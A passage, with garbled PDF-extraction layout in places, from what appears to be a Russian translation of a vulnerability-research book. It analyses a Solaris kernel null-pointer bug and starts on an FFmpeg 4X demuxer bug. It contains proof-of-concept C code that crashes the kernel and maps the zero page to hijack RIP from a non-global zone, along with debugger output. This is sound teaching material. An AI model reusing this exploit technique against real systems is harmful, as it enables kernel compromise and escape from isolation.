19167 * В соответствии с существующей семантикой, 19168 * и для совместимости с программами/сценариями, 19169 * опирающимися на такое поведение, имя if0:0 19170 * считается допустимым интерфейсом.

19171 * 19172 * Если псевдоним содержит две и более цифр, 19173 * и первая - ноль, это ошибка.

19174 */ 19175 if (&cp[2] endp && cp[1] == '0') 19176 return (NULL);

19177 } [..] В строке 19139 переменной error, являющейся одним из признаков ошибки, явно присваивается значение 0. Это означает, что к текущему моменту возникла ошибка. Если определить имя интерфейса, как двоеточие, за которым следует ASCII-символ «0» и любой цифровой символ, можно вызвать выполнение инструкции в строке 19176, возвращающей управление вызывающей функции. Проблема в том, что до возврата из функции в переменной error не был установлен допустимый признак ошибки. Поэтому ipif_lookup_on_name() возвращает функции ip_extract_tunreq() переменную error со значением 0.

Исходный файл uts/common/inet/ip/ip_if.c Функция ip_extract_tunreq() [..] 8192 ipif = ipif_lookup_on_name(ta-ifta_lifr_name, 8193 mi_strlen(ta-ifta_lifr_name), B_FALSE, &exists, isv6, connp-conn_zoneid, CONNP_TO_WQ(connp), mp, func, 54 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www &error, ipst);

8195 if (ipif == NULL) 8196 return (error);

[..]

–  –  –

Далее, в функции ip_process_ioctl(), признак ошибки все еще остается равным 0. Поэтому инструкция if в строке 26741 обнаруживает невыполнение условия и ядро продолжает выполнение остальной части тела функции, что приводит к разыменованию нулевого указателя в функции ip_sioctl_tunparam().

Какая отличная уязвимость!

На рис. 3.4 демонстрируется диаграмма вызовов, описывающая взаимоотношения между функциями, вовлеченными в уязвимость, связанную с разыменованием нулевого указателя.

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

–  –  –

ip_sioctl_tunparam() (6) Рис. 3.4. Диаграмма вызовов, описывающая взаимоотношения между функциями, вовлеченными в уязвимость, связанную с разыменованием нулевого указателя. Числа определяют хронологический порядок событий.

3.2. Эксплуатация уязвимости Поиск путей эксплуатации этой В этом раздел уязвимости оказался восхититель- зовал операцио е я испольнную систему, но непростым делом. Уязвимости, установленную с настро обусловленные разыменованием ну- ми по умолчанию из DV йкаD-обра- левого указателя, принято считать за Solaris 10 10/08 x86/ x64 непригодными к эксплуатации, по- (s ol- 10 -u 6- ga 1- x8 6- dvd.i so ), тому что они в общем случае могут которая называется Solaris 10 использоваться для атак типа «отказ Generic_137138-09.

в обслуживании», но никак не для выполнения произвольного кода. Однако эта ошибка разыменования нулевого указателя отличается от подобных ей уязвимостей тем, что ее с успехом можно эксплуатировать для выполнения произвольного кода на уровне ядра.

Чтобы эксплуатировать уязвимость, я выполнил следующие шаги:

1. Вызвал ситуацию разыменования нулевого указателя, сымитировав атаку «отказ в обслуживании».

2. Использовал нулевую страницу памяти, чтобы получить контроль над EIP/RIP.

Шаг 1: Вызов ситуации разыменования нулевого указателя для отказа в обслуживании Чтобы вызвать разыменование нулевого указателя, я написал следующий программный код, доказывающий правильность концепции (proof-of-concept, POC) (Листинг 3.1).

56 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www Листинг 3.1. Код, доказывающий правильность концепции (poc.c), созданный с целью вызвать ошибку разыменования нулевого указателя, найденную в ОС Solaris

–  –  –

Этот программный код сначала открывает сетевое устройство (строка 14). Обратите внимание, что устройства /dev/tcp и /dev/arp также поддерживают IOCTL-запросы SIOCGTUNPARAM и могdev/udp ли бы использоваться вместо /dev/arp. Затем выполняется подготовка данных для IOCTL-запроса (строки 22–25). Данные содержат имя интерфейса с недопустимым псевдонимом «:01», чтобы вызвать

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

ошибку. Наконец выполняется IOCTL-запрос SIOCGTUNPARAM и данные передаются ядру (строка 28).

Затем я скомпилировал и запустил этот код с правами непривилегированного пользователя в 64-битной системе Solaris 10:

solaris$ isainfo -b solaris$ id uid=100(wwwuser) gid=1(other) solaris$ uname -a SunOS bob 5.10 Generic_137138-09 i86pc i386 i86pc solaris$ /usr/sfw/bin/gcc -m64 -o poc poc.c solaris$./poc Это вызвало немедленный крах и перезагрузку системы.

После перезагрузки я зарегистрировался как пользователь root и исследовал аварийные дампы ядра с помощью отладчика Solaris Modular Debugger (mdb) [8] (описание команд отладчика можно найти в разделе B.1):

solaris# id uid=0(root) gid=0(root) solaris# hostname bob solaris# cd /var/crash/bob/ solaris# ls bounds unix.0 vmcore.0 solaris# mdb unix.0 vmcore.0 Loading modules: [ unix krtld genunix specfs dtrace cpu.generic uppc pcplusmp ufs ip hook neti sctp arp usba fcp fctl nca lofs mpt zfs random sppp audiosup nfs ptm md cpc crypto fcip logindmux ] Для вывода буфера сообщений, включающего все сообщения в консоли, выведенные до момента аварии, я использовал команду ::msgbuf:

–  –  –

fffffe8000f7e4b0 unix:die+da () fffffe8000f7e590 unix:trap+5e6 () fffffe8000f7e5a0 unix:_cmntrap+140 () fffffe8000f7e6d0 ip:ip_sioctl_tunparam+5c () fffffe8000f7e780 ip:ip_process_ioctl+280 () fffffe8000f7e820 ip:ip_wput_nondata+970 () fffffe8000f7e910 ip:ip_output_options+537 () fffffe8000f7e920 ip:ip_output+10 () fffffe8000f7e940 ip:ip_wput+37 () fffffe8000f7e9a0 unix:putnext+1f1 () fffffe8000f7e9d0 arp:ar_wput+9d () fffffe8000f7ea30 unix:putnext+1f1 () fffffe8000f7eab0 genunix:strdoioctl+67b () fffffe8000f7edd0 genunix:strioctl+620 () fffffe8000f7edf0 specfs:spec_ioctl+67 () fffffe8000f7ee20 genunix:fop_ioctl+25 () fffffe8000f7ef00 genunix:ioctl+ac () fffffe8000f7ef10 unix:brand_sys_syscall+21d () syncing le systems...

done dumping to /dev/dsk/c0d0s1, offset 107413504, content: kernel Вывод отладчика показывает, что авария в ядре произошла изза разыменования нулевого указателя по адресу 0xfffffffff6314c7c

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

(значение регистра RIP). Далее, я использовал команду отладчика для вывода инструкций, начиная с этого адреса:

0xfffffffff6314c7c::dis ip_sioctl_tunparam+0x30: jg +0xf0 ip_sioctl_tunparam+0x120 ip_sioctl_tunparam+0x36: movq 0x28(%r12),%rax ip_sioctl_tunparam+0x3b: movq 0x28(%rbx),%rbx ip_sioctl_tunparam+0x3f: movq %r12,%rdi ip_sioctl_tunparam+0x42: movb $0xe,0x19(%rax) ip_sioctl_tunparam+0x46: call +0x5712cfa copymsg ip_sioctl_tunparam+0x4b: movq %rax,%r15 ip_sioctl_tunparam+0x4e: movl $0xc,%eax ip_sioctl_tunparam+0x53: testq %r15,%r15 ip_sioctl_tunparam+0x56: je +0x9d ip_sioctl_tunparam+0xf3 ip_sioctl_tunparam+0x5c: movq 0x8(%r13),%r14 [..] Авария была вызвана инструкцией movq 0x8(%r13),%r14, расположенной по адресу ip_sioctl_tunparam+0x5c. Данная инструкция попыталась разыменовать значение указателя в регистре r13. Как следует из вывода команды ::msgbuf отладчика, на момент аварии регистр r13 имел значение 0. То есть данная ассемблерная инструкция является эквивалентом разыменования нулевого указателя, произошедшего в функции ip_sioctl_tunparam() (строка 9432 в следующем фрагменте кода).

Исходный файл uts/common/inet/ip/ip_if.c Функция ip_sioctl_tunparam() [..] 9401 int 9402 ip_sioctl_tunparam(ipif_t *ipif, sin_t *dummy_sin, queue_t *q, mblk_t *mp, 9403 ip_ioctl_cmd_t *ipip, void *dummy_ifreq) 9404 { [..] 9432 ill = ipif-ipif_ill;

[..] Я смог показать, что данная уязвимость может эксплуатироваться непривилегированным пользователем, чтобы вызвать крах системы.

Поскольку в системе виртуализации Solaris Zones все виртуальные машины используют одно и то же ядро, данная уязвимость может также вызвать крах всей системы (всех зон), даже когда уязвимость была эксплуатирована в непривилегированной, неглобальной зоне (о 60 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www технологии Solaris Zones подробнее рассказывается в разделе C.3).

Любой поставщик услуг хостинга, использующий технологию Solaris Zones, серьезно пострадал бы, если бы эта уязвимость эксплуатировалась со злым умыслом.

Шаг 2: использование нулевой страницы для получения контроля над EIP/RIP После того как мне удалось обрушить систему, я решил попробовать выполнить произвольный код.

Для этого мне необходимо было решить две проблемы:

предотвратить крах системы при разыменовании нулевого указателя;

получить контроль над EIP/RIP.

Крах системы обусловлен разыменованием нулевого указателя.

Так как нулевая страница обычно не отображается в виртуальную память, разыменование нулевого указателя ведет к ошибке нарушения прав доступа и краху системы (раздел A.2). Поэтому, чтобы предотвратить крах системы, необходимо отобразить нулевую страницу перед попыткой разыменования нулевого указателя. Это легко можно сделать на архитектурах x86 и AMD64, потому что на этих платформах ОС Solaris делит виртуальное адресное пространство процесса на две части: пространство пользователя и пространство ядра (рис. 3.5).

Пространство пользователя – это адресное пространство, где выполняется пользовательское приложение, а пространство ядра – это адресное пространство, где выполняется само ядро, а также его расширения (например, драйверы). Однако, пространство пользователя и пространство ядра используют одну и ту же нулевую страницу. [9] Примечание. Каждое адресное пространство пользователя является уникальным для конкретного процесса, тогда как адресное пространство ядра совместно используется всеми процессами. Отображение нулевой страницы в адресное пространство единственного процесса приведет к тому, что она будет отображена в адресное пространство только этого процесса.

–  –  –

данные IOCTL-запроса, передаваемые ядру, и данные в пользовательском процессе, включая нулевую страницу. Единственный способ получить контроль над регистром EIP/RIP состоит в том, чтобы заставить ядро обратиться к некоторым данным из нулевой страницы процесса, которые позднее можно было бы использовать для захвата контроля над потоком выполнения ядра. Я полагал, что такое невозможно, но я был неправ.

Исходный файл uts/common/inet/ip/ip_if.c Функция ip_sioctl_tunparam() [..] 9401 int 9402 ip_sioctl_tunparam(ipif_t *ipif, sin_t *dummy_sin, queue_t *q, mblk_t *mp, 9403 ip_ioctl_cmd_t *ipip, void *dummy_ifreq) 9404 { [..] 9432 ill = ipif-ipif_ill;

9433 mutex_enter(&connp-conn_lock);

9434 mutex_enter(&ill-ill_lock);

9435 if (ipip-ipi_cmd == SIOCSTUNPARAM || ipip-ipi_cmd == OSIOCSTUNPARAM) { 62 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www 9436 success = ipsq_pending_mp_add(connp, ipif, CONNP_TO_WQ(connp), 9437 mp, 0);

9438 } else { 9439 success = ill_pending_mp_add(ill, connp, mp);

9440 } 9441 mutex_exit(&ill-ill_lock);

9442 mutex_exit(&connp-conn_lock);

9444 if (success) { 9445 ip1dbg(("sending down tunparam request "));

9446 putnext(ill-ill_wq, mp1);

[..] В строке 9432 происходит разыменование нулевого указателя, когда переменная ipif имеет значение NULL. Это приводит к краху системы. Но, если до разыменования нулевого указателя нулевая страница будет отображена в адресное пространство процесса, ошибка нарушения прав доступа не возникнет и система не обрушится.

Вместо этого указатель на структуру ill будут ссылаться на данные, контролируемые пользователем, находящиеся в нулевой странице.

То есть, всеми значениями в структуре ill можно управлять, скопировав подготовленные данные в нулевую страницу. Я был рад найти в строке 9446 вызов функции putnext(), которой в виде параметра передается контролируемое пользователем значение ill-ill_wq.

Исходный файл uts/common/os/putnext.c Функция putnext() [11] [..] 146 void 147 putnext(queue_t *qp, mblk_t *mp) 148 { [..] 154 int (*putproc)();

[..] 176 qp = qp-q_next;

177 sq = qp-q_syncq;

178 ASSERT(sq != NULL);

179 ASSERT(MUTEX_NOT_HELD(SQLOCK(sq)));

180 qi = qp-q_qinfo;

[..] 268 /* 269 * Теперь необходимо разобраться с очередью syncq, мы должны 270 * либо поместить сообщение в очередь syncq и затем 271 * обработать его, или вызвать putproc().

272 */ 273 putproc = qi-qi_putp;

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

274 if (!queued) { 275 STR_FTEVENT_MSG(mp, fqp, FTEV_PUTNEXT, mp-b_rptr mp-b_datap-db_base);

277 (*putproc)(qp, mp);

[..] Пользователь может полностью контролировать данные, передаваемые функции putnext() в первом параметре. А это означает, что значения переменных qp, sq и qi также могут контролироваться пользователем через данные в подготовленной им нулевой странице (строки 176, 177 и 180). Кроме того, пользователь может контролировать значение указателя на функцию, объявленного в строке 154 (строка 273). Эта функция вызывается по указателю в строке 277.

В итоге, если заранее подготовить данные в отображенной нулевой странице, можно получить контроль над указателем на функцию, и тем самым получить полный контроль над EIP/RIP и выполнить произвольный код на уровне ядра.

Для получения контроля над EIP/RIP я использовал следующий код:

Листинг 3.2.

Код, доказывающий правильность концепции (poc2.c), используемый для получения контроля над EIP/RIP и тем самым позволяющий выполнить произвольный код на уровне ядра 01 #include string.h 02 #include stdio.h 03 #include unistd.h 04 #include fcntl.h 05 #include sys/syscall.h 06 #include sys/sockio.h 07 #include net/if.h 08 #include sys/mman.h 10 //////////////////////////////////////////////// 11 // Отображает нулевую страницу и заполняет ее 12 // необходимыми данными 13 int 14 map_null_page (void) 15 { 16 void * mem = (void *)-1;

18 // отобразить нулевую страницу 19 mem = mmap (NULL, PAGESIZE, PROT_EXEC|PROT_READ|PROT_WRITE, 20 MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);

22 if (mem != NULL) { 64 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www 23 printf ("failed\n");

24 fush (0);

25 perror ("[-] ERROR: mmap");

26 return 1;

27 } 29 // заполнить нулевую страницу нулями 30 memset (mem, 0x00, PAGESIZE);

32 //////////////////////////////////////////////// 33 // данные в нулевой странице 35 // qi-qi_putp 36 *(unsigned long long *)0x00 = 0x0000000041414141;

38 // ipif-ipif_ill 39 *(unsigned long long *)0x08 = 0x0000000000000010;

41 // начало структуры ill (ill-ill_ptr) 42 *(unsigned long long *)0x10 = 0x0000000000000000;

44 // ill-rq 45 *(unsigned long long *)0x18 = 0x0000000000000000;

47 // ill-wq (устанавливает адрес структуры qp) 48 *(unsigned long long *)0x20 = 0x0000000000000028;

50 // начало структуры qp (qp-q_info) 51 *(unsigned long long *)0x28 = 0x0000000000000000;

53 // qp-q_rst 54 *(unsigned long long *)0x30 = 0x0000000000000000;

56 // qp-q_last 57 *(unsigned long long *)0x38 = 0x0000000000000000;

59 // qp-q_next (указывает на начало структуры qp) 60 *(unsigned long long *)0x40 = 0x0000000000000028;

62 // qp-q_syncq 63 *(unsigned long long *)0xa0 = 0x00000000000007d0;

65 return 0;

66 } 68 void 69 status (void) 70 { 71 unsigned long long i = 0;

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

73 printf ("[+] PAGESIZE: %d\n", (int)PAGESIZE);

74 printf ("[+] Zero page data:\n");

76 for (i = 0; i = 0x40; i += 0x8) 77 printf ("... 0x%02x: 0x%016llx\n", i, *(unsigned long long*)i);

79 printf ("... 0xa0: 0x%016llx\n", *(unsigned long long*)0xa0);

81 printf ("[+] The bug will be triggered in 2 seconds..\n");

83 fush (0);

84 } 86 int 87 main (void) 88 { 89 int fd = 0;

90 char data[32];

92 //////////////////////////////////////////////// 93 // Открыть устройство '/dev/arp' 94 printf ("[+] Opening '/dev/arp' device.. ");

96 fd = open ("/dev/arp", O_RDWR);

98 if (fd 0) { 99 printf ("failed\n");

100 fush (0);

101 perror ("[-] ERROR: open");

102 return 1;

103 } 105 printf ("OK\n");

107 //////////////////////////////////////////////// 108 // Отобразить нулевую страницу 109 printf ("[+] Trying to map zero page.. ");

111 if (map_null_page () == 1) { 112 return 1;

113 } 115 printf ("OK\n");

117 //////////////////////////////////////////////// 118 // Сообщения о состоянии 119 status ();

120 sleep (2);

66 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www 122 //////////////////////////////////////////////// // Данные для IOCTL-запроса (имя интерфейса с недопустимым псевдонимом ':01') 124 data[0] = 0x3a; // двоеточие 125 data[1] = 0x30; // ASCII-символ '0' 126 data[2] = 0x31; // цифра '1' 127 data[3] = 0x00; // завершающий нулевой символ 129 //////////////////////////////////////////////// 130 // IOCTL-запрос 131 syscall (SYS_ioctl, fd, SIOCGTUNPARAM, data);

133 printf ("[-] ERROR: triggering the NULL ptr deref failed\n");

134 close (fd);

136 return 0;

137 } В строке 19 листинга 3.2 выполняется отображение нулевой страницы с помощью функции mmap(). Но самое интересное здесь – это организация данных в нулевой странице (строки 32–63), соответствующие элементы которой показаны на рис. 3.6.

qi qi_putp (начало структуры qi) 0x0000000041414141 0x00

–  –  –

Рис. 3.6. Организация данных в нулевой странице Слева на рис. 3.6 показаны смещения относительно начала нулевой страницы. Список в середине – это фактические значения. Справа – ссылки в нулевой странице, которыми пользуется ядро. В табл. 3.1

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

приводится описание организации данных в нулевой странице, изображенной на рис. 3.6.

–  –  –

Затем я скомпилировал и запустил этот код с правами непривилегированного пользователя внутри ограниченной, неглобальной зоны

Solaris:

solaris$ isainfo -b solaris$ id uid=100(wwwuser) gid=1(other) solaris$ zonename wwwzone

–  –  –

[+] Zero page data:

... 0x00: 0x0000000041414141... 0x08: 0x0000000000000010... 0x10: 0x0000000000000000... 0x18: 0x0000000000000000... 0x20: 0x0000000000000028... 0x28: 0x0000000000000000... 0x30: 0x0000000000000000... 0x38: 0x0000000000000000... 0x40: 0x0000000000000028... 0xa0: 0x00000000000007d0 [+] The bug will be triggered in 2 seconds..

Система немедленно обрушилась.

После перезагрузки я исследовал аварийные дампы ядра (описание команд отладчика можно найти в разделе B.1):

solaris# id uid=0(root) gid=0(root) solaris# hostname bob solaris# cd /var/crash/bob/

–  –  –

solaris# mdb unix.1 vmcore.1 Loading modules: [ unix krtld genunix specfs dtrace cpu.generic uppc pcplusmp ufs ip hook neti sctp arp usba fcp fctl nca lofs mpt zfs audiosup md cpc random crypto fcip logindmux ptm sppp nfs ] ::msgbuf [..]

panic[cpu0]/thread=ffffffff8816c120:

BAD TRAP: type=e (#pf Page fault) rp=fffffe800029f530 addr=41414141 occurred in module "unknown" due to an illegal access to a user address

–  –  –

fffffe800029f440 unix:die+da () fffffe800029f520 unix:trap+5e6 () fffffe800029f530 unix:_cmntrap+140 () fffffe800029f680 41414141 () fffffe800029f6d0 ip:ip_sioctl_tunparam+ee () fffffe800029f780 ip:ip_process_ioctl+280 () fffffe800029f820 ip:ip_wput_nondata+970 () fffffe800029f910 ip:ip_output_options+537 () fffffe800029f920 ip:ip_output+10 () fffffe800029f940 ip:ip_wput+37 () fffffe800029f9a0 unix:putnext+1f1 () fffffe800029f9d0 arp:ar_wput+9d () fffffe800029fa30 unix:putnext+1f1 () fffffe800029fab0 genunix:strdoioctl+67b () fffffe800029fdd0 genunix:strioctl+620 () fffffe800029fdf0 specfs:spec_ioctl+67 () fffffe800029fe20 genunix:fop_ioctl+25 () fffffe800029ff00 genunix:ioctl+ac () fffffe800029ff10 unix:brand_sys_syscall+21d ()

syncing le systems...donedumping to /dev/dsk/c0d0s1, offset 107413504, content: kernel

$c 0x41414141() ip_sioctl_tunparam+0xee() ip_process_ioctl+0x280() ip_wput_nondata+0x970() ip_output_options+0x537() 48 Chapter 3 ip_output+0x10() ip_wput+0x37() putnext+0x1f1() ar_wput+0x9d() putnext+0x1f1() strdoioctl+0x67b()

ЛИКВИДАЦИЯ УЯЗВИМОСТИ

strioctl+0x620()spec_ioctl+0x67()fop_ioctl+0x25()ioctl+0xac()sys_syscall+0x17b()

На этот раз крах системы наступил из-за того, что ядро попыталось выполнить код по адресу 0x41414141 (значение регистра RIP, выделенное жирным шрифтом в выводе отладчика выше). Это означает, что мне удалось получить полный контроль над EIP/RIP.

Реализовав соответствующий эксплойт1 для этой уязвимости, можно выйти за границы ограниченной, неглобальной зоны Solaris и затем получить привилегии суперпользователя в глобальной зоне.

Поскольку в моей стране очень строгие законы, я не буду воспроизводить здесь полные исходные тексты действующего эксплойта, но интересующиеся могут посмотреть короткий видеоролик, в котором я демонстрирую эксплойт в действии. [12]

–  –  –

Чтобы исправить ошибку, в компании Sun добавили определение новой ошибки в строках 19180 и 19181, в функции ipif_lookup_on_ name(). Это исправление благополучно предотвращает разыменование нулевого указателя. Хотя данная мера и исправляет уязвимость, описанную в этой главе, но она не решает основную проблему. Функция ipif_lookup_on_name(), как и другие функции в ядре, по-прежнему сообщают об ошибке вызывающим их функциям двумя способами, поэтому есть вероятность появления подобных уязвимостей при невнимательном отношении к API. Чтобы предотвратить появление подобных уязвимостей в будущем, компания Sun должна была изменить API, но она этого не сделала.

3.4. Полученные уроки

С позиции программиста:

Всегда определяйте признаки ошибок.

Всегда проверяйте возвращаемые значения на корректность.

Не всякая попытка разыменовать нулевой указатель в ядре приводит к простому отказу в обслуживании. Некоторые из них могут оказаться весьма неприятными уязвимостями и позволяют выполнить произвольный код.

С позиции системного администратора.

Не доверяйте механизмам зон, клеток, виртуализации или средствам точной настройки прав доступа. Если в ядре имеется уязвимость, то велика вероятность, что любой механизм безопасности можно будет обойти. И это относится не только к механизму Solaris Zones.

–  –  –

04.09.2007 05.09.2007 12.06.2008 17.12.2008 Рис. 3.7. График устранения уязвимости от момента извещения до выпуска исправленной версии операционной системы Примечания

1. Исходные тексты OpenSolaris можно загрузить по адресу:

http://dlc.sun.com/osol/on/downloads/.

2. http://en.wikipedia.org/wiki/Ioctl.

3. За дополнительной информацией о механизме туннелирования IP через IP обращайтесь по адресу: http://download.oracle.com/ docs/cd/E19455-01/806-0636/6j9vq2bum/index.html.

4. См. руководство «STREAMS Programming Guide» компании

Sun Microsystems Inc., которое можно загрузить по адресу:

http://download.oracle.com/docs/cd/E19504-01/802-5893/802pdf.

5. Ссылка на исходные тексты ОС OpenSolaris в навигаторе OpenGrok: http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/ usr/src/uts/common/sys/stream.h?r=4823%3A7c9aaea16585.

6. Ссылка на исходные тексты ОС OpenSolaris в навигаторе OpenGrok: http://cvs.opensolaris.org/source/xref/onnv/onnvgate/usr/src/uts/common/inet/ip/ip.c?r=4823%3A7c9aaea16585.

74 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www

7. Ссылка на исходные тексты ОС OpenSolaris в навигаторе OpenGrok: http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/ usr/src/uts/common/inet/ip/ip_if.c?r=5240%3Ae7599510dd03.

8. Официальное руководство по использованию отладчика Solaris Modular Debugger можно найти по адресу: http://dlc.sun.com/ osol/docs/content/MODDEBUG/moddebug.html.

9. Дополнительную информацию можно найти в статье «Attacking the Core: Kernel Exploiting Notes», авторы twiz и sgrakkyu, по адресу: http://www.phrack.com/issues.html?issue=64&id=6.

10. Более подробную информацию об организации виртуальных адресных пространств процессов в Solaris можно найти по адресу: http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/ src/uts/i86pc/os/startup.c?r=10942:eaa343de0d06.

11. Ссылка на исходные тексты ОС OpenSolaris в навигаторе OpenGrok: http://cvs.opensolaris.org/source/xref/onnv/onnvgate/usr/src/uts/common/os/putnext.c?r=0%3A68f95e015346.

12. http://www.trapkit.de/books/bhd/.

13. Исправление, созданное компанией Sun, можно найти по адресу: http://cvs.opensolaris.org/source/diff/onnv/onnv-gate/usr/ src/uts/common/inet/ip/ip_if.c?r1=/onnv/onnv-gate/usr/src/ uts/common/inet/ip/ip_if.c@5240&r2=/onnv/onnv-gate/usr/ src/uts/common/inet/ip/ip_if.c@5335&format=s&full=0.

14. Мой отчет, подробно описывающий уязвимость в ядре Solaris, можно найти по адресу: http://www.trapkit.de/advisories/ TKADV2008-015.txt.

ГЛАВА И СНОВА

4 НУЛЕВОЙ УКАЗАТЕЛЬ

–  –  –

4.1. Обнаружение уязвимости

В поисках уязвимости я выполнил следующие шаги:

шаг 1: составил список демультиплексоров в библиотеке FFmpeg;

шаг 2: идентифицировал входные данные;

шаг 3: проследил движение входных данных.

Шаг 1: составление списка демультиплексоров в библиотеке FFmpeg Загрузив последнюю версию исходных текстов FFmpeg из репозитория SVN, я сгенерировал список демультиплексоров, входящих в библиотеку libavformat, включенную в состав FFmpeg (рис. 4.1).

Я заметил, что в библиотеке FFmpeg реализация большинства демультиплексоров находится в отдельных файлах на языке C, в каталоге libavformat/.

Рис. 4.1. Демультиплексоры в библиотеке FFmpeg libavformat Примечание. Разработка FFmpeg была перенесена в репозиторий Git [2] и репозиторий SVN больше не обновляется. Исходные тексты уязвимой версии (SVN-r16556) библиотеки FFmpeg теперь можно загрузить с веб-сайта книги. [3] Шаг 2: идентификация входных данных Затем я попытался идентифицировать входные данные, обрабатываемые демультиплексорами. В процессе изучения исходных текстов

ОБНАРУЖЕНИЕ УЯЗВИМОСТИ

было обнаружено, что в большинстве демультиплексоров реализована функция с именем имядемультиплексора_read_header(), принимающая параметр типа AVFormatContext. Эта функция объявляет и инициализирует указатель, как показано ниже:

[..] ByteIOContext *pb = s-pb;

[..] Этот указатель pb затем используется различными функциями get_* (например, get_le32(), get_buffer()) и специальными макросами (например, AV_RL32, AV_RL16) для извлечения фрагментов данных.

В этот момент я был совершенно уверен, что указатель pb ссылается на входные данные из обрабатываемого медиафайла.

Шаг 3: определение порядка движения входных данных Я решил искать ошибки, отслеживая движение данных в каждом демультиплексоре по исходным текстам. Для начала был взят первый демультиплексор из списка, с реализацией в файле 4xm.c. В ходе исследований демультплексора для файлов в формате 4X, [4] я обнаружил уязвимость, представленную в листинге ниже.

Исходный файл libavformat/4xm.c Функция fourxm_read_header() [..] 93 static int fourxm_read_header(AVFormatContext *s, 94 AVFormatParameters *ap) 95 { 96 ByteIOContext *pb = s-pb;

..

101 unsigned char *header;

..

103 int current_track = -1;

..

106 fourxm-track_count = 0;

107 fourxm-tracks = NULL;

..

120 /* выделить память для заголовка и загрузить его целиком */ 121 header = av_malloc(header_size);

122 if (!header) 123 return AVERROR(ENOMEM);

124 if (get_buffer(pb, header, header_size) != header_size) 125 return AVERROR(EIO);

..

160 } else if (fourcc_tag == strk_TAG) { 78 ГЛАВА 4. И СНОВА НУЛЕВОЙ УКАЗАТЕЛЬ 161 /* убедиться в достаточном объеме данных */ 162 if (size != strk_SIZE) { 163 av_free(header);

164 return AVERROR_INVALIDDATA;

165 } 166 current_track = AV_RL32(&header[i + 8]);

167 if (current_track + 1 fourxm-track_count) { 168 fourxm-track_count = current_track + 1;

169 if((unsigned)fourxm-track_count = UINT_MAX / sizeof(AudioTrack)) 170 return -1;

171 fourxm-tracks = av_realloc(fourxm-tracks, 172 fourxm-track_count * sizeof(AudioTrack));

173 if (!fourxm-tracks) { 174 av_free(header);

175 return AVERROR(ENOMEM);

176 } 177 } 178 fourxm-tracks[current_track].adpcm = AV_RL32(&header[i + 12]);

179 fourxm-tracks[current_track].channels = AV_RL32(&header[i + 36]);

180 fourxm-tracks[current_track].sample_rate = AV_RL32(&header[i + 40]);

181 fourxm-tracks[current_track].bits = AV_RL32(&header[i + 44]);

[..] Функция get_buffer(), вызываемая в строке 124, копирует входные данные из обрабатываемого файла в буфер, на который ссылается указатель header (строки 101 и 121). Если файл содержит так называемый блок strk (строка 160), инструкция в строке 166 с помощью макроса AV_RL32() читает целое без знака из заголовка файла и сохраняет его в переменной current_track, объявленной как целое со знаком (строка 103). Преобразование пользовательского целочисленного значения без знака, полученного из заголовка файла, в целое со знаком может привести к ошибке преобразования! Мой интерес был подогрет и я продолжил поиски, предвкушая возможную удачу.

Инструкция if в строке 167 проверяет, действительно ли пользовательское значение current_track + 1 больше, чем fourxm-track_ count. Переменная fourxm-track_count, объявленная как целое со знаком, инициализируется нулем (строка 106). Присваивание переменной current_track значения = 0x80000000 вызовет изменение знака, вследствие чего оно будет интерпретироваться как отрицательное (описание причины приводится в разделе A.3). Если значение переменной current_track будет интерпретироваться как отрицательное, инструкция if в строке 167 всегда будет обнаруживать невыполнение условия (так как целочисленная со знаком переменная fourxm-track_count имеет значение 0) и операция выделения памяти

ОБНАРУЖЕНИЕ УЯЗВИМОСТИ

для буфера в строке 171 никогда не будет выполняться. Очевидно, это была плохая идея преобразовать контролируемое пользователем целое без знака в целое со знаком.

Поскольку указатель fourxm-tracks инициализируется значением NULL (строка 107), и строка 171 никогда не будет достигнута, операции записи в строках 178–181 приведут к четырем ошибкам разыменования нулевого указателя. Поскольку нулевой указатель разыменовывается с учетом значения в переменной current_track, контролируемой пользователем, появляется возможность записи пользовательских данных в самые разные участки памяти.

Примечание. Технически эту ошибку едва ли можно назвать ошибкой «разыменования» нулевого указателя, так как фактически здесь происходит не обращение по адресу NULL, а обращение к структуре со смещением относительно NULL, контролируемым пользователем. В конечном итоге, все зависит от того, как определить термин «разыменование нулевого указателя».

На рис. 4.2 показано ожидаемое поведение библиотеки FFmpeg:

1. Указатель fourxm-tracks инициализируется значением NULL (строка 107).

2. Если обрабатываемый файл содержит блок strk, значение переменной current_track извлекается из контролируемых пользователем данных в файле (строка 166).

3. Если значение выражения current_track + 1 больше нуля, выделяется память для буфера.

4. Ссылка на выделенный буфер сохраняется в указателе fourxmtracks (строки 171 и 172).

5. Данные из файла копируются в буфер, при этом значение переменной current_track используется в качестве индекса массива в буфере (строки 178–181).

6. В этом случае никаких проблем с безопасностью не возникает.

На рис. 4.3 показано, что произойдет, если упомянутая выше ошибка в библиотеке FFmpeg проявит себя:

1. Указатель fourxm-tracks инициализируется значением NULL (строка 107).

2. Если обрабатываемый файл содержит блок strk, значение переменной current_track извлекается из контролируемых пользователем данных в файле (строка 166).

80 ГЛАВА 4. И СНОВА НУЛЕВОЙ УКАЗАТЕЛЬ

–  –  –

Шаг 1: поиск образца файла в формате 4X с допустимым блоком strk Для загрузки образцового файла с сайта http://samples.mplayerhq.hu/ я использовал следующую команду:

linux$ wget -q http://samples.mplayerhq.hu/game-formats/4xm/ TimeGatep01s01n01a02_2.4xm

После загрузки я переименовал его в original.4xm.

Шаг 2: изучение организации блока strk Согласно описанию формата файлов 4X, блок strk имеет следующую организацию:

